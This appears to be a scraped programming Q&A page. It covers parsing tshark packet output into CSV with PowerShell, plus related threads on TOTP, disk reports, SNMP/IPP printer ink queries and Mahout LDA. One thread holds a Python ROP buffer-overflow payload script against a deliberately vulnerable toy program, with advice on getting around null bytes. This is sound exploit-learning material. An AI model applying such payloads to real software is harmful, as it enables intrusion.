How to get a csv with all pcap packet details? - parsing

I want to create a CSV to import it on excel, containing all the packet details shown in wireshark.
Each row should correspond to a packet and the columns to the field details.
Using the following tshark command:
tshark -r mycapturefile.cap -E -V
I can show the information I need like:
Frame 1077: 42 bytes on wire (336 bits), 42 bytes captured (336 bits)
Encapsulation type: Ethernet (1)
Arrival Time: Aug 15, 2017 14:02:27.095521000 EDT
[Time shift for this packet: 0.000000000 seconds]
Epoch Time: 1502820147.095521000 seconds
and other packet details...
What I want is that information provided with -V, so the -T fields option in wireshark is discarded. Wireshark export options also don't provide the data I need, only the pdml format, but I think is more tedius to parse.
I have searched for a tool, a script or parser with no results. Since each packet is different, make a personal parser may be difficult/tedious and considering people can extract this information but provide no sources of how to do it, there must be a method or tool that can do it.
Do you know any tool, script or method that already do this?
Thanks in advance.

There is a ton of information coming down. You gotta use that -Y display filter to whittle it down. The resulting text can then be parsed.
Try -Y "frame.number == 1077" -V and then parse the text that is returned.
In my case I wanted certificate information.
Function GetCertsFromWireSharkPackets2 ($CERTTEXT){
foreach($Cert in($CERTTEXT|?{$_ -match "Source:.*\d{1,3}\.\d{1,3}\.\d{1,3}\.|Destination:.*\d{1,3}\.\d{1,3}\.\d{1,3}\.|Certificate:"} | %{$_.trim() -replace 'Source:','|Source:' -replace ":",'=' }) -join "`n"| %{$_.split('|')}|?{$_}) {
$Cert|%{$Props = [regex]::matches($_,"(?sim)(?<=^).*?(?=\=)").value ; $Dups = [regex]::matches($Props,"(?sim)\b(\w+)\s+\1\b").value.split(' ') ; $values = [regex]::matches($_,"(?sim)(?<=\=).*?(?=$)").value.trim()}
$PropsNoDups = ($Props -join "`n").replace(($Dups|select -first 1),'').split(10)|?{$_} ;
if(($PropsNoDups.count + $Dups.count) -ne $Props.count){$dups+=($dups|select -First 1)}
for($X=1;$X -lt $Dups.count;$X++){$dups[$X] +=$X}
$ValidProps = $PropsNoDups+$Dups ; $StitchCount = $Values.Count
$ValidP_V = For($x=0;$x -lt $StitchCount;$x++){ '"'+$ValidProps[$x] + '"="' + $Values[$x] +'"'} ;$ValidP_V =($ValidP_V -join "`n")|?{$_} ; $ExpText = "New-Object psobject -Property #{`n"+$ValidP_V+"`n}"
Invoke-Expression($ExpText)|select Source, Destination, Certificate, Certificate1, Certificate2, Certificate3
} }
#Click refresh on a few browser tabs to generate traffic.
$CERTTEXT = .\tshark.exe -i 'Wi-Fi' -Y "ssl.handshake.certificate" -V -a duration:30
GetCertsFromWireSharkPackets2 $CERTTEXT
Source : cybersandwich.com (107.170.193.139)
Destination : KirtCarson.com (222.168.3.118)
Certificate : 3082057e30820466a0030201020212030e2782075e8f90f5... (id-at-commonName=multi.zeall.us)
Certificate1 : 308204923082037aa00302010202100a0141420000015385... (id-at-commonName=Let's Encrypt Authority
X3,id-at-organizationName=Let's Encrypt,id-at-countryName=US)
Certificate2 :
Certificate3 :

Related

ROP Exploit: Address contains null byte

I'm currently trying to adapt this example of a simple ROP attack to x64.
When compiling the program accordingly:
gcc -O0 -g -static -fno-stack-protector -no-pie -o simple_rop64 ./simple_rop.c
And trying to adjust the used addresses of the functions (using gdb) I have the following problem. The x64 address of, e.g., the lazy() function is at 0x401b9d, which is only three bytes. Thus, struct.pack will add a null-byte.
The python interpreter will therefore throw an error when executing with this error message:
python rop_exploit.py
[...]
os.system("./simple_rop64 \"%s\"" % payload)
TypeError: system() argument 1 must be string without null bytes, not str
Is it even possible to use this function address (which is always three bytes only) for this vulnerable program? Or do I have to adjust it otherwise?
Thanks for any help.
Here the python script I adjusted
#Find gadgets
#objdump -d simple_rop64 | grep --color -E -A2 "pop +%rbp"
#47c54a: 5d pop %rbp
#47c54b: c3 retq
pop_ret = 0x47c54a # start address of a pop,ret sequence
#objdump -d simple_rop32 | grep --color -A2 8049ca4
#8049ca4: 5f pop %edi
#8049ca5: 5d pop %ebp
#8049ca6: c3 ret
pop_pop_ret = 0x8049ca4 # start address of a pop,pop,ret sequence
lazy = 0x401b9d # objdump -d | grep lazy
food = 0x401bb0 # objdump -d | grep food
feeling_sick = 0x401c0c # objdump -d | grep feeling_sick
#Buffer Overflow
#0x0000000000401d0d <+45>: lea -0x70(%rbp),%rax
payload = "A"*0x70
# Saved RBP register
payload += "BBBBBBBB"
#food(0xdeadbeef) gadget
payload += struct.pack("I", food)
payload += struct.pack("I", pop_ret)
payload += struct.pack("I", 0xdeadbeef)
#feeling_sick(0xd15ea5e, 0x0badf00d) gadget
payload += struct.pack("I", feeling_sick)
payload += struct.pack("I", pop_pop_ret)
payload += struct.pack("I", 0xd15ea5e)
payload += struct.pack("I", 0x0badf00d)
payload += struct.pack("I", lazy)
os.system("./simple_rop64 \"%s\"" % payload)
You can't. What you could do instead is find a gadget that does a certain operation and do the opposite in your exploit.
For example if you find a gadget that does xor eax, 0xFFFFFFFF then you could just xor your address with it (0x401b9d ^ 0xFFFFFFFF = 0xFFBFE462) so that it fits 4 bytes. pop this intermediate value into eax and call your gadget so that your intermediate value becomes the address you want. Then you jump to it.

Matching TOTP implementation with Google Authenticator

(Solution) TL;DR: Google assumes the key string is base32 encoded; replacing any 1 with I and 0 with O. This must be decoded prior to hashing.
Original Question
I'm having difficulty having my code match up with GA. I even went chasing down counters +/- ~100,000 from the current time step and found nothing. I was very excited to see my function pass the SHA-1 tests in the RFC 6238 Appendix, however when applied to "real life" it seems to fail.
I went so far as to look at the open source code for Google Authenticator at Github (here). I used the key for testing: "qwertyuiopasdfgh". According to the Github code:
/*
* Return key entered by user, replacing visually similar characters 1 and 0.
*/
private String getEnteredKey() {
String enteredKey = keyEntryField.getText().toString();
return enteredKey.replace('1', 'I').replace('0', 'O');
}
I believe my key would not be modified. Tracing through the files it seems the key remains unchanged through calls: AuthenticatorActivity.saveSecret() -> AccountDb.add() -> AccountDb.newContentValuesWith().
I compared my time between three sources:
(erlang shell): now()
(bash): date "+%s"
(Google/bash): pattern="\s*date\:\s*"; curl -I https://www.google.com 2>/dev/null | grep -iE $pattern | sed -e "s/$pattern//g" | xargs -0 date "+%s" -d
They are all the same. Despite that, it appears my phone is a bit off from my computer. It will change steps not in sync with my computer. However me trying to chase down the proper time step by +/- thousands didn't find anything. According to the NetworkTimeProvider class, that is the time source for the app.
This code worked with all the SHA-1 tests in the RFC:
totp(Secret, Time) ->
% {M, S, _} = os:timestamp(),
Msg = binary:encode_unsigned(Time), %(M*1000000+S) div 30,
%% Create 0-left-padded 64-bit binary from Time
Bin = <<0:((8-size(Msg))*8),Msg/binary>>,
%% Create SHA-1 hash
Hash = crypto:hmac(sha, Secret, Bin),
%% Determine dynamic offset
Offset = 16#0f band binary:at(Hash,19),
%% Ignore that many bytes and store 4 bytes into THash
<<_:Offset/binary, THash:4/binary, _/binary>> = Hash,
%% Remove sign bit and create 6-digit code
Code = (binary:decode_unsigned(THash) band 16#7fffffff) rem 1000000,
%% Convert to text-string and 0-lead-pad if necessary
lists:flatten(string:pad(integer_to_list(Code),6,leading,$0)).
For it to truly match the RFC it would need to be modified for 8-digit numbers above. I modified it to try and chase down the proper step. The goal was to figure out how my time was wrong. Didn't work out:
totp(_,_,_,0) ->
{ok, not_found};
totp(Secret,Goal,Ctr,Stop) ->
Msg = binary:encode_unsigned(Ctr),
Bin = <<0:((8-size(Msg))*8),Msg/binary>>,
Hash = crypto:hmac(sha, Secret, Bin),
Offset = 16#0f band binary:at(Hash,19),
<<_:Offset/binary, THash:4/binary, _/binary>> = Hash,
Code = (binary:decode_unsigned(THash) band 16#7fffffff) rem 1000000,
if Code =:= Goal ->
{ok, {offset, 2880 - Stop}};
true ->
totp(Secret,Goal,Ctr+1,Stop-1) %% Did another run with Ctr-1
end.
Anything obvious stick out?
I was tempted to make my own Android application to implement TOTP for my project. I did continue looking at the Java code. With aid of downloading the git repository and grep -R to find function calls I discovered my problem. To get the same pin codes as Google Authenticator the key is assumed to be base32 encoded and must be decoded prior to passing it to the hash algorithm.
There was a hint of this in getEnteredKey() by replacing the 0 and 1 characters as these are not present in the base32 alphabet.

Adding date to my output in this below ps script

Right now below is my script
foreach ($Server in (Get-Content C:\psfiles\Winservers.txt)){
Get-WmiObject win32_logicalDisk -ComputerName $Server | Select #{
Expression={$Server};label="ServerName"},DeviceID,Volumename ,#{Expression={
$_.Size /1Gb -as [int]};Label="Total Size(GB)"},#{Expression={($_.Size /1Gb
-as [int])
- ($_.Freespace/ 1Gb -as [int])};Label="InUse Size (GB)"} ,
#{Expression={$_.Freespace / 1Gb -as [int]};Label="FreeSize(GB)"},
#{Expression={(($_.Freespace /1Gb -as [float]) / ($_.Size / 1Gb -as
[float]))*100};Label="FreeSpace (%)"},$(Get-Date -format 'd')
| format-table
right now..i get the output as below
servername deviceid volumename totalsize............10/6/2014
srv1 c: data 100 null
srv2 d: bkup 50 null
I want to get the result as
servername deviceid volumename totalsize............createdt
srv1 c: data 100 10/16/2014
srv2 d: bkup 50 10/6/2014
Thanks In Advance!
The only difference I see between the two, is the formatting spaces, and the last column with the dates.
First place Format-Table in front, before labeling all the properties. The Get-Date function just returns the current date. That's why your not seeing dates in the column.
Here's a link, that shows you how to format, and label the tables properly.

How can I access ink levels of printers programmatically?

Okay, this is a Windows specific question.
I need to be able to access the ink levels of a printer connected to a computer. Possibly direct connection, or a network connection.
I recognize that it will likely be different for each printer (or printer company at least) but where can I find the information of how they reveal ink levels to a PC. Also, what is the best language to read this information in?
Okay, this is a OS agnostic answer... :-)
If the printer isn't a very cheapo model, it will have built-in support for SNMP (Simple Network Management Protocol). SNMP queries can return current values from the network devices stored in their MIBs (Management Information Bases).
For printers there's a standard defined called Printer MIB. The Printer MIB defines standard names and tree locations (OIDs == Object Identifiers in ASN.1 notation) for prtMarkerSuppliesLevel which in the case of ink marking printers map to ink levels.
Be aware that SNMP also allows private extensions to the standard MIBs. Most printer vendors do hide many additional pieces of information in their "private MIBs", though the standard info should always be available through the queries of the Printer MIB OIDs.
Practically every programming language has standard libraries which can help you to make specific SNMP queries from your own application.
One such implementation is Open Source, called Net-SNMP, which also comes with a few powerfull commandline tools to run SNMP queries.
I think the OID to query all levels for all inks is .1.3.6.1.2.1.43.11.1.1.9 (this webpage confirms my believe) but I cannot verify that right now, because I don't have a printer around in my LAN at the moment. So Net-SNMP's snmpget command to query ink levels should be something like:
snmpget \
-c public \
192.168.222.111 \
".1.3.6.1.2.1.43.11.1.1.9"
where public is the standard community string and 192.168.222.111 your printer's IP address.
I have an SNMP-capable HP 8600 pro N911a around to do some digging, so the following commands may help you a bit. Beware that this particular model has some firmware problems, you can't query "magenta" with snmpget, but you see a value with snmpwalk (which does some kind of recursive drill-down).
OLD: You can query the names and sequence of values, but I couldn't find the "max value" to calculate a clean percentage so far ;(. I'm guessing so far the values are relative to 255, so dividing by 2.55 yields a percentage.
Update: Marcelo's hint was great! From Registers .8.* you can read the max level per cartridge, and I was totally wrong assuming the max value can only be an 8-bit value. I have updated the sample script to read the max values and calculate c
There is also some discussion over there at Cacti forums.
One answer confirms that the ink levels are measured as percent (value 15 is "percent" in an enumeration):
# snmpwalk -v1 -c public 192.168.100.173 1.3.6.1.2.1.43.11.1.1.7
SNMPv2-SMI::mib-2.43.11.1.1.7.0.1 = INTEGER: 15
SNMPv2-SMI::mib-2.43.11.1.1.7.0.2 = INTEGER: 15
SNMPv2-SMI::mib-2.43.11.1.1.7.0.3 = INTEGER: 15
SNMPv2-SMI::mib-2.43.11.1.1.7.0.4 = INTEGER: 15
You need to install the net-snmp package. If you're not on Linux you might need some digging for SNMP command line tools for your preferred OS.
# snmpwalk -v1 -c public 192.168.100.173 1.3.6.1.2.1.43.11.1.1.6.0
SNMPv2-SMI::mib-2.43.11.1.1.6.0.1 = STRING: "black ink"
SNMPv2-SMI::mib-2.43.11.1.1.6.0.2 = STRING: "yellow ink"
SNMPv2-SMI::mib-2.43.11.1.1.6.0.3 = STRING: "cyan ink"
SNMPv2-SMI::mib-2.43.11.1.1.6.0.4 = STRING: "magenta ink"
# snmpwalk -v1 -c public 192.168.100.173 1.3.6.1.2.1.43.11.1.1.9.0
SNMPv2-SMI::mib-2.43.11.1.1.9.0.1 = INTEGER: 231
SNMPv2-SMI::mib-2.43.11.1.1.9.0.2 = INTEGER: 94
SNMPv2-SMI::mib-2.43.11.1.1.9.0.3 = INTEGER: 210
SNMPv2-SMI::mib-2.43.11.1.1.9.0.4 = INTEGER: 174
# snmpwalk -v1 -c praxis 192.168.100.173 1.3.6.1.2.1.43.11.1.1.8.0
SNMPv2-SMI::mib-2.43.11.1.1.8.0.1 = INTEGER: 674
SNMPv2-SMI::mib-2.43.11.1.1.8.0.2 = INTEGER: 240
SNMPv2-SMI::mib-2.43.11.1.1.8.0.3 = INTEGER: 226
SNMPv2-SMI::mib-2.43.11.1.1.8.0.4 = INTEGER: 241
On my Linux box I use the following script to do some pretty-printing:
#!/bin/sh
PATH=/opt/bin${PATH:+:$PATH}
# get current ink levels
eval $(snmpwalk -v1 -c praxis 192.168.100.173 1.3.6.1.2.1.43.11.1.1.6.0 |
perl -ne 'print "c[$1]=$2\n" if(m!SNMPv2-SMI::mib-2.43.11.1.1.6.0.(\d) = STRING:\s+"(\w+) ink"!i);')
# get max ink level per cartridge
eval $(snmpwalk -v1 -c praxis 192.168.100.173 1.3.6.1.2.1.43.11.1.1.8.0 |
perl -ne 'print "max[$1]=$2\n" if(m!SNMPv2-SMI::mib-2.43.11.1.1.8.0.(\d) = INTEGER:\s+(\d+)!i);')
snmpwalk -v1 -c praxis 192.168.100.173 1.3.6.1.2.1.43.11.1.1.9.0 |
perl -ne '
my #c=("","'${c[1]}'","'${c[2]}'","'${c[3]}'","'${c[4]}'");
my #max=("","'${max[1]}'","'${max[2]}'","'${max[3]}'","'${max[4]}'");
printf"# $c[$1]=$2 (%.0f)\n",$2/$max[$1]*100
if(m!SNMPv2-SMI::mib-2.43.11.1.1.9.0.(\d) = INTEGER:\s+(\d+)!i);'
An alternative approach could be using ipp. While most of the printers I tried support both, I found one which only worked with ipp and one that only worked for me with snmp.
Simple approach with ipptool:
Create file colors.ipp:
{
VERSION 2.0
OPERATION Get-Printer-Attributes
GROUP operation-attributes-tag
ATTR charset "attributes-charset" "utf-8"
ATTR naturalLanguage "attributes-natural-language" "en"
ATTR uri "printer-uri" $uri
ATTR name "requesting-user-name" "John Doe"
ATTR keyword "requested-attributes" "marker-colors","marker-high-levels","marker-levels","marker-low-levels","marker-names","marker-types"
}
Run:
ipptool -v -t ipp://192.168.2.126/ipp/print colors.ipp
The response:
"colors.ipp":
Get-Printer-Attributes:
attributes-charset (charset) = utf-8
attributes-natural-language (naturalLanguage) = en
printer-uri (uri) = ipp://192.168.2.126/ipp/print
requesting-user-name (nameWithoutLanguage) = John Doe
requested-attributes (1setOf keyword) = marker-colors,marker-high-levels,marker-levels,marker-low-levels,marker-names,marker-types
colors [PASS]
RECEIVED: 507 bytes in response
status-code = successful-ok (successful-ok)
attributes-charset (charset) = utf-8
attributes-natural-language (naturalLanguage) = en-us
marker-colors (1setOf nameWithoutLanguage) = #00FFFF,#FF00FF,#FFFF00,#000000,none
marker-high-levels (1setOf integer) = 100,100,100,100,100
marker-levels (1setOf integer) = 6,6,6,6,100
marker-low-levels (1setOf integer) = 5,5,5,5,5
marker-names (1setOf nameWithoutLanguage) = Cyan Toner,Magenta Toner,Yellow Toner,Black Toner,Waste Toner Box
marker-types (1setOf keyword) = toner,toner,toner,toner,waste-toner
marker-levels has current toner/ink levels, marker-high-levels are maximus (so far I've only seen 100s here), marker-names describe meaning of each field (tip: for colors you may want to strip everything after first space, many printers include cartridge types in this field).
Note: the above is with cups 2.3.1. With 2.2.1 I had to specify the keywords as one string instead ("marker-colors,marker-h....). Or it can be left altogether, then all keywords are returned.
More on available attributes (may differ between printers): https://www.cups.org/doc/spec-ipp.html
More on executing ipp calls (including python examples): https://www.pwg.org/ipp/ippguide.html
I really liked tseeling's approach!
Complementarily, I found out that the max value for the OID ... .9 is not 255 as guessed by him, but it actually varies per individual cartridge. The values can be obtained from OID .1.3.6.1.2.1.43.11.1.1.8 (the results obtained by dividing by these values match the ones obtained by running hp-inklevels command from hplip.
I wrote my own script that output CSVs like below (suppose printer IP addr is 192.168.1.20):
# ./hpink 192.168.1.20
black,73,366,19.9454
yellow,107,115,93.0435
cyan,100,108,92.5926
magenta,106,114,92.9825
values are in this order: <color_name>,<level>,<maxlevel>,<percentage>
The script source (one will notice I usually prefer awk over perl when the puzzle is simple enough):
#!/bin/sh
snmpwalk -v1 -c public $1 1.3.6.1.2.1.43.11.1.1 | awk '
/.*\.6\.0\./ {
sub(/.*\./,"");
split($0,TT,/[ "]*/);
color[TT[1]]=TT[4];
}
/.*\.8\.0\./ {
sub(/.*\./,"");
split($0,TT,/[ "]*/);
maxlevel[TT[1]]=TT[4];
}
/.*\.9\.0\./ {
sub(/.*\./,"");
split($0,TT,/[ "]*/);
print color[TT[1]] "," TT[4] "," maxlevel[TT[1]] "," TT[4] / maxlevel[TT[1]] * 100;
}'

LDA Mahout only one topic

I am trying to follow the example on using LDA on the Reuters data as indicated in the Mahout In Action book. However, regardless of the number of times I run it, I always get only one topic.
I ran the command as indicated:
mahout lda -i reuters-vectors/tf-vectors -o reuters-lda-sparse -k 10 -v 34262 -x 20 -ow
I got the number from running seqdumper. After the command has run, I run the LDAPrintTopics as indicated in the book and get the following:
Topic 0
===========
billion [p(billion|topic_0) = 0.04580929884162013
pct [p(pct|topic_0) = 0.043323700764985575
dlrs [p(dlrs|topic_0) = 0.031395871939373196
3 [p(3|topic_0) = 0.027311386657272094
1987 [p(1987|topic_0) = 0.025690077982656934
1 [p(1|topic_0) = 0.022727304049111215
reuter [p(reuter|topic_0) = 0.019572283708227903
mln [p(mln|topic_0) = 0.014569551610736616
april [p(april|topic_0) = 0.014453636611524965
march [p(march|topic_0) = 0.014359948846622552
Is there way to get more topics out of LDA?
Thanks.
Your command says -k 10 which specifies that there need to be 10 topics.
See this https://cwiki.apache.org/MAHOUT/latent-dirichlet-allocation.html
Try changing your data set, may be its too small to generate 10 different topics

Resources